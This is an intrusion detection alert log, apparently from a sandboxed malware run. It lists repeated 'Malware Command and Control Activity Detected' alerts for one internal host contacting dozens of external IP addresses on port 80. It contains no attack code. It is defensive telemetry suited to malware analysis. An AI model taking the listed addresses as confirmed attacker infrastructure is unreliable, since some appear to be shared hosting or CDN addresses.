2024-10-25T11:18:15.689201+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52975	144.76.24.9	80	TCP
2024-10-25T11:18:15.717862+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:15.786806+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52980	18.245.31.21	80	TCP
2024-10-25T11:18:15.801766+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52977	85.131.197.10	80	TCP
2024-10-25T11:18:15.813443+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52973	80.93.82.33	80	TCP
2024-10-25T11:18:15.824113+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52979	165.22.45.169	80	TCP
2024-10-25T11:18:15.868057+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52978	217.79.184.35	80	TCP
2024-10-25T11:18:15.915997+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:15.973116+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52984	165.22.45.169	80	TCP
2024-10-25T11:18:15.974197+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52989	188.114.97.3	80	TCP
2024-10-25T11:18:15.996787+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52986	147.154.3.56	80	TCP
2024-10-25T11:18:16.056459+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52980	18.245.31.21	80	TCP
2024-10-25T11:18:16.059495+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52988	13.248.252.114	80	TCP
2024-10-25T11:18:16.082144+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52990	3.19.116.195	80	TCP
2024-10-25T11:18:16.089911+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52977	85.131.197.10	80	TCP
2024-10-25T11:18:16.156065+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:16.161369+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52984	165.22.45.169	80	TCP
2024-10-25T11:18:16.167605+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52985	23.227.38.74	80	TCP
2024-10-25T11:18:16.188469+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52993	13.248.252.114	80	TCP
2024-10-25T11:18:16.225956+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52997	104.26.7.221	80	TCP
2024-10-25T11:18:16.257838+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52996	34.149.87.45	80	TCP
2024-10-25T11:18:16.433983+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52995	211.1.226.67	80	TCP
2024-10-25T11:18:16.443601+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:16.484764+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52999	35.164.78.200	80	TCP
2024-10-25T11:18:16.496575+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53003	104.21.88.198	80	TCP
2024-10-25T11:18:16.552566+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53001	23.227.38.74	80	TCP
2024-10-25T11:18:16.614170+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53002	35.164.78.200	80	TCP
2024-10-25T11:18:16.616159+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53000	142.250.186.147	80	TCP
2024-10-25T11:18:16.619093+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53006	185.15.129.58	80	TCP
2024-10-25T11:18:16.630074+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52998	170.82.174.30	80	TCP
2024-10-25T11:18:16.695410+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53003	104.21.88.198	80	TCP
2024-10-25T11:18:16.723563+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52995	211.1.226.67	80	TCP
2024-10-25T11:18:16.832033+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53004	213.186.33.40	80	TCP
2024-10-25T11:18:16.893729+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53013	54.161.222.85	80	TCP
2024-10-25T11:18:16.957679+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53010	89.161.163.246	80	TCP
2024-10-25T11:18:16.972268+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53011	85.131.197.10	80	TCP
2024-10-25T11:18:17.021272+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53019	103.224.182.241	80	TCP
2024-10-25T11:18:17.092050+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53021	103.224.182.241	80	TCP
2024-10-25T11:18:17.120094+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53012	211.1.226.67	80	TCP
2024-10-25T11:18:17.136161+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52998	170.82.174.30	80	TCP
2024-10-25T11:18:17.161794+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53018	213.186.33.40	80	TCP
2024-10-25T11:18:17.190443+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53014	5.196.166.214	80	TCP
2024-10-25T11:18:17.193779+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53017	62.122.190.121	80	TCP
2024-10-25T11:18:17.307959+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52853	193.166.255.171	80	TCP
2024-10-25T11:18:17.507745+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53004	213.186.33.40	80	TCP
2024-10-25T11:18:17.539457+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53018	213.186.33.40	80	TCP
2024-10-25T11:18:17.539635+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53012	211.1.226.67	80	TCP
2024-10-25T11:18:17.553686+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53011	85.131.197.10	80	TCP
2024-10-25T11:18:17.573549+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53017	62.122.190.121	80	TCP
2024-10-25T11:18:17.586258+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53023	5.196.166.214	80	TCP
2024-10-25T11:18:17.734731+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53015	104.26.15.53	80	TCP
2024-10-25T11:18:17.824182+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52861	193.166.255.171	80	TCP
2024-10-25T11:18:17.850951+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52987	74.208.236.101	80	TCP
2024-10-25T11:18:17.876118+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53025	13.248.252.114	80	TCP
2024-10-25T11:18:17.906377+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53031	188.114.97.3	80	TCP
2024-10-25T11:18:17.935270+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53026	54.161.222.85	80	TCP
2024-10-25T11:18:17.962895+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53027	103.224.182.241	80	TCP
2024-10-25T11:18:17.962940+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53029	103.224.182.241	80	TCP
2024-10-25T11:18:17.978208+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53030	192.252.154.18	80	TCP
2024-10-25T11:18:17.981749+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53038	188.114.97.3	80	TCP
2024-10-25T11:18:17.984433+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53033	208.109.214.162	80	TCP
2024-10-25T11:18:18.014082+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53040	154.53.43.150	80	TCP
2024-10-25T11:18:18.025295+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53039	141.193.213.11	80	TCP
2024-10-25T11:18:18.056918+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53041	208.109.214.162	80	TCP
2024-10-25T11:18:18.084056+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53028	139.59.171.124	80	TCP
2024-10-25T11:18:18.097477+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53031	188.114.97.3	80	TCP
2024-10-25T11:18:18.167474+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53033	208.109.214.162	80	TCP
2024-10-25T11:18:18.190801+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53040	154.53.43.150	80	TCP
2024-10-25T11:18:18.214076+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53035	60.43.154.138	80	TCP
2024-10-25T11:18:18.214827+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53039	141.193.213.11	80	TCP
2024-10-25T11:18:18.233036+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53041	208.109.214.162	80	TCP
2024-10-25T11:18:18.371923+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53028	139.59.171.124	80	TCP
2024-10-25T11:18:18.381400+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53044	188.114.97.3	80	TCP
2024-10-25T11:18:18.520465+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53035	60.43.154.138	80	TCP
2024-10-25T11:18:18.583504+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53047	154.53.43.150	80	TCP
2024-10-25T11:18:18.646175+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53048	192.124.249.10	80	TCP
2024-10-25T11:18:18.763719+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53046	80.74.154.6	80	TCP
2024-10-25T11:18:18.766323+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53047	154.53.43.150	80	TCP
2024-10-25T11:18:19.016198+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53049	185.80.51.179	80	TCP
2024-10-25T11:18:19.049058+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53046	80.74.154.6	80	TCP
2024-10-25T11:18:19.062237+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53051	34.218.204.173	80	TCP
2024-10-25T11:18:19.101932+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53037	104.26.10.81	80	TCP
2024-10-25T11:18:19.227184+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53057	81.2.194.241	80	TCP
2024-10-25T11:18:19.262844+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53055	93.187.206.66	80	TCP
2024-10-25T11:18:19.296249+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53049	185.80.51.179	80	TCP
2024-10-25T11:18:19.303513+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53056	93.187.206.66	80	TCP
2024-10-25T11:18:19.338918+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53058	122.128.109.107	80	TCP
2024-10-25T11:18:19.421593+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53061	172.67.173.200	80	TCP
2024-10-25T11:18:19.503359+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53062	198.185.159.144	80	TCP
2024-10-25T11:18:19.509944+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53057	81.2.194.241	80	TCP
2024-10-25T11:18:19.597360+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53061	172.67.173.200	80	TCP
2024-10-25T11:18:19.711950+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53045	104.26.10.81	80	TCP
2024-10-25T11:18:19.820440+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53060	116.211.150.37	80	TCP
2024-10-25T11:18:19.885960+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53063	122.128.109.107	80	TCP
2024-10-25T11:18:19.989619+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53065	135.181.73.98	80	TCP
2024-10-25T11:18:20.010754+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53066	202.254.236.40	80	TCP
2024-10-25T11:18:20.313426+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53065	135.181.73.98	80	TCP
2024-10-25T11:18:20.324357+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53066	202.254.236.40	80	TCP
2024-10-25T11:18:20.380942+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53068	46.242.238.60	80	TCP
2024-10-25T11:18:20.542554+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53069	188.114.96.3	80	TCP
2024-10-25T11:18:20.686941+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53069	188.114.96.3	80	TCP
2024-10-25T11:18:20.715954+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53071	107.180.98.101	80	TCP
2024-10-25T11:18:20.777213+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53072	69.163.239.62	80	TCP
2024-10-25T11:18:20.847722+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53064	188.165.133.163	80	TCP
2024-10-25T11:18:20.884991+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53071	107.180.98.101	80	TCP
2024-10-25T11:18:20.903136+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53076	107.180.98.101	80	TCP
2024-10-25T11:18:20.961704+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53075	104.26.3.124	80	TCP
2024-10-25T11:18:20.970862+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53072	69.163.239.62	80	TCP
2024-10-25T11:18:21.070307+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53076	107.180.98.101	80	TCP
2024-10-25T11:18:21.086876+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53074	104.21.66.46	80	TCP
2024-10-25T11:18:21.088835+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53077	3.94.41.167	80	TCP
2024-10-25T11:18:21.103819+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53079	96.127.180.42	80	TCP
2024-10-25T11:18:21.115177+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53064	188.165.133.163	80	TCP
2024-10-25T11:18:21.198263+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53075	104.26.3.124	80	TCP
2024-10-25T11:18:21.209397+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53078	51.79.51.72	80	TCP
2024-10-25T11:18:21.268568+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53079	96.127.180.42	80	TCP
2024-10-25T11:18:21.458910+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53081	188.114.96.3	80	TCP
2024-10-25T11:18:21.658913+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53081	188.114.96.3	80	TCP
2024-10-25T11:18:21.825254+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53085	3.94.41.167	80	TCP
2024-10-25T11:18:21.941093+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53084	5.189.128.121	80	TCP
2024-10-25T11:18:21.986031+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53088	3.94.41.167	80	TCP
2024-10-25T11:18:22.149159+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53090	69.163.182.181	80	TCP
2024-10-25T11:18:22.165267+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53083	185.53.177.50	80	TCP
2024-10-25T11:18:22.216131+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53084	5.189.128.121	80	TCP
2024-10-25T11:18:22.246913+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53089	108.167.164.216	80	TCP
2024-10-25T11:18:22.247219+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53091	75.119.202.130	80	TCP
2024-10-25T11:18:22.257027+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53087	183.90.183.73	80	TCP
2024-10-25T11:18:22.380987+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53086	185.53.177.50	80	TCP
2024-10-25T11:18:22.662992+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53092	23.227.38.74	80	TCP
2024-10-25T11:18:22.735459+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53094	3.94.41.167	80	TCP
2024-10-25T11:18:22.751456+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53093	217.19.237.54	80	TCP
2024-10-25T11:18:23.200965+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52970	137.118.26.67	80	TCP
2024-10-25T11:18:23.259789+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53095	69.163.182.181	80	TCP
2024-10-25T11:18:23.264292+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53096	75.119.202.130	80	TCP
2024-10-25T11:18:23.386200+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53097	104.196.26.65	80	TCP
2024-10-25T11:18:23.465699+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52981	198.100.146.220	80	TCP
2024-10-25T11:18:23.545148+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53099	13.248.169.48	80	TCP
2024-10-25T11:18:23.562756+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53098	217.79.184.35	80	TCP
2024-10-25T11:18:23.600349+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53097	104.196.26.65	80	TCP
2024-10-25T11:18:23.748952+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53101	144.76.24.9	80	TCP
2024-10-25T11:18:23.952152+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53103	188.114.97.3	80	TCP
2024-10-25T11:18:24.050183+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53104	147.154.3.56	80	TCP
2024-10-25T11:18:24.087272+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53102	18.245.31.21	80	TCP
2024-10-25T11:18:24.359590+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53102	18.245.31.21	80	TCP
2024-10-25T11:18:24.444195+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53106	188.166.152.188	80	TCP
2024-10-25T11:18:24.487572+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53005	198.100.146.220	80	TCP
2024-10-25T11:18:24.514112+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:24.780572+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:24.879194+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53109	85.131.197.10	80	TCP
2024-10-25T11:18:25.001824+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53100	213.165.251.217	80	TCP
2024-10-25T11:18:25.262182+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53111	195.78.66.65	80	TCP
2024-10-25T11:18:25.262191+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53112	5.196.166.214	80	TCP
2024-10-25T11:18:25.262191+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:25.262433+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53109	85.131.197.10	80	TCP
2024-10-25T11:18:25.325834+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53113	211.1.226.67	80	TCP
2024-10-25T11:18:25.473080+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53114	23.227.38.74	80	TCP
2024-10-25T11:18:25.552857+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:25.574584+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53110	74.208.236.101	80	TCP
2024-10-25T11:18:25.630775+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53113	211.1.226.67	80	TCP
2024-10-25T11:18:25.801088+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:25.987213+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53117	188.114.97.3	80	TCP
2024-10-25T11:18:26.057559+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53118	165.22.45.169	80	TCP
2024-10-25T11:18:26.166550+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53119	103.224.182.253	80	TCP
2024-10-25T11:18:26.255248+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53118	165.22.45.169	80	TCP
2024-10-25T11:18:26.257107+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53120	13.248.252.114	80	TCP
2024-10-25T11:18:26.680164+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53050	193.166.255.171	80	TCP
2024-10-25T11:18:26.682713+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53124	208.109.214.162	80	TCP
2024-10-25T11:18:26.721023+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53122	35.164.78.200	80	TCP
2024-10-25T11:18:26.841400+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53125	103.224.182.253	80	TCP
2024-10-25T11:18:26.855636+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53124	208.109.214.162	80	TCP
2024-10-25T11:18:27.146828+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53123	93.187.206.66	80	TCP
2024-10-25T11:18:27.148054+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53127	103.224.182.241	80	TCP
2024-10-25T11:18:27.148274+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53128	103.224.182.253	80	TCP
2024-10-25T11:18:27.185971+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53126	213.186.33.40	80	TCP
2024-10-25T11:18:27.373430+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53129	154.53.43.150	80	TCP
2024-10-25T11:18:27.452197+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53126	213.186.33.40	80	TCP
2024-10-25T11:18:27.564250+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53129	154.53.43.150	80	TCP
2024-10-25T11:18:27.600924+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53121	104.26.10.81	80	TCP
2024-10-25T11:18:27.851292+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53130	103.224.182.241	80	TCP
2024-10-25T11:18:27.852086+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53131	103.224.182.253	80	TCP
2024-10-25T11:18:27.932237+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53067	96.91.204.114	80	TCP
2024-10-25T11:18:28.550726+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53070	96.91.204.114	80	TCP
2024-10-25T11:18:28.603424+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53073	64.125.133.18	80	TCP
2024-10-25T11:18:28.918763+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53133	122.128.109.107	80	TCP
2024-10-25T11:18:29.066448+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53080	64.125.133.18	80	TCP
2024-10-25T11:18:29.571500+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53135	188.114.96.3	80	TCP
2024-10-25T11:18:29.716843+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53136	107.180.98.101	80	TCP
2024-10-25T11:18:29.786705+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53135	188.114.96.3	80	TCP
2024-10-25T11:18:29.867647+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53137	188.114.96.3	80	TCP
2024-10-25T11:18:29.884223+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53136	107.180.98.101	80	TCP
2024-10-25T11:18:30.081645+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53137	188.114.96.3	80	TCP
2024-10-25T11:18:31.051966+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53140	185.53.177.50	80	TCP
2024-10-25T11:18:31.159195+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53139	104.218.10.254	80	TCP
2024-10-25T11:18:31.558248+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53141	104.218.10.254	80	TCP
2024-10-25T11:18:32.443208+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53142	157.112.176.4	80	TCP
2024-10-25T11:18:32.451837+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53108	198.100.146.220	80	TCP
2024-10-25T11:18:33.098506+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53143	157.112.176.4	80	TCP
2024-10-25T11:18:33.142507+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53144	173.254.28.29	80	TCP
2024-10-25T11:18:33.612718+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53144	173.254.28.29	80	TCP
2024-10-25T11:18:34.135218+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53146	173.254.28.29	80	TCP
2024-10-25T11:18:34.321869+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53146	173.254.28.29	80	TCP
2024-10-25T11:18:34.499952+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53147	157.112.182.239	80	TCP
2024-10-25T11:18:35.177827+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53149	103.224.182.253	80	TCP
2024-10-25T11:18:35.266178+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53151	192.124.249.20	80	TCP
2024-10-25T11:18:35.286204+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53155	3.19.116.195	80	TCP
2024-10-25T11:18:35.302346+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53148	157.112.182.239	80	TCP
2024-10-25T11:18:35.340841+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53157	70.39.251.249	80	TCP
2024-10-25T11:18:35.359740+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:35.375428+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53153	104.21.23.9	80	TCP
2024-10-25T11:18:35.413489+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53151	192.124.249.20	80	TCP
2024-10-25T11:18:35.489659+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53156	80.93.82.33	80	TCP
2024-10-25T11:18:35.499417+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53159	34.218.204.173	80	TCP
2024-10-25T11:18:35.503353+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53157	70.39.251.249	80	TCP
2024-10-25T11:18:35.545887+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53154	59.106.19.204	80	TCP
2024-10-25T11:18:35.546565+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53158	118.27.125.181	80	TCP
2024-10-25T11:18:35.607759+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:35.730870+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53156	80.93.82.33	80	TCP
2024-10-25T11:18:35.793673+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53132	96.91.204.114	80	TCP
2024-10-25T11:18:35.848596+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:35.889826+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53160	103.224.182.253	80	TCP
2024-10-25T11:18:35.972316+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53161	3.19.116.195	80	TCP
2024-10-25T11:18:36.051732+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53163	104.26.7.221	80	TCP
2024-10-25T11:18:36.087050+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53162	34.149.87.45	80	TCP
2024-10-25T11:18:36.096131+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:36.221368+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53167	104.21.23.9	80	TCP
2024-10-25T11:18:36.270045+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53171	3.19.116.195	80	TCP
2024-10-25T11:18:36.285435+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53172	70.39.251.249	80	TCP
2024-10-25T11:18:36.285915+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53168	192.124.249.20	80	TCP
2024-10-25T11:18:36.300697+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53176	104.21.88.198	80	TCP
2024-10-25T11:18:36.335774+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53152	188.114.97.3	80	TCP
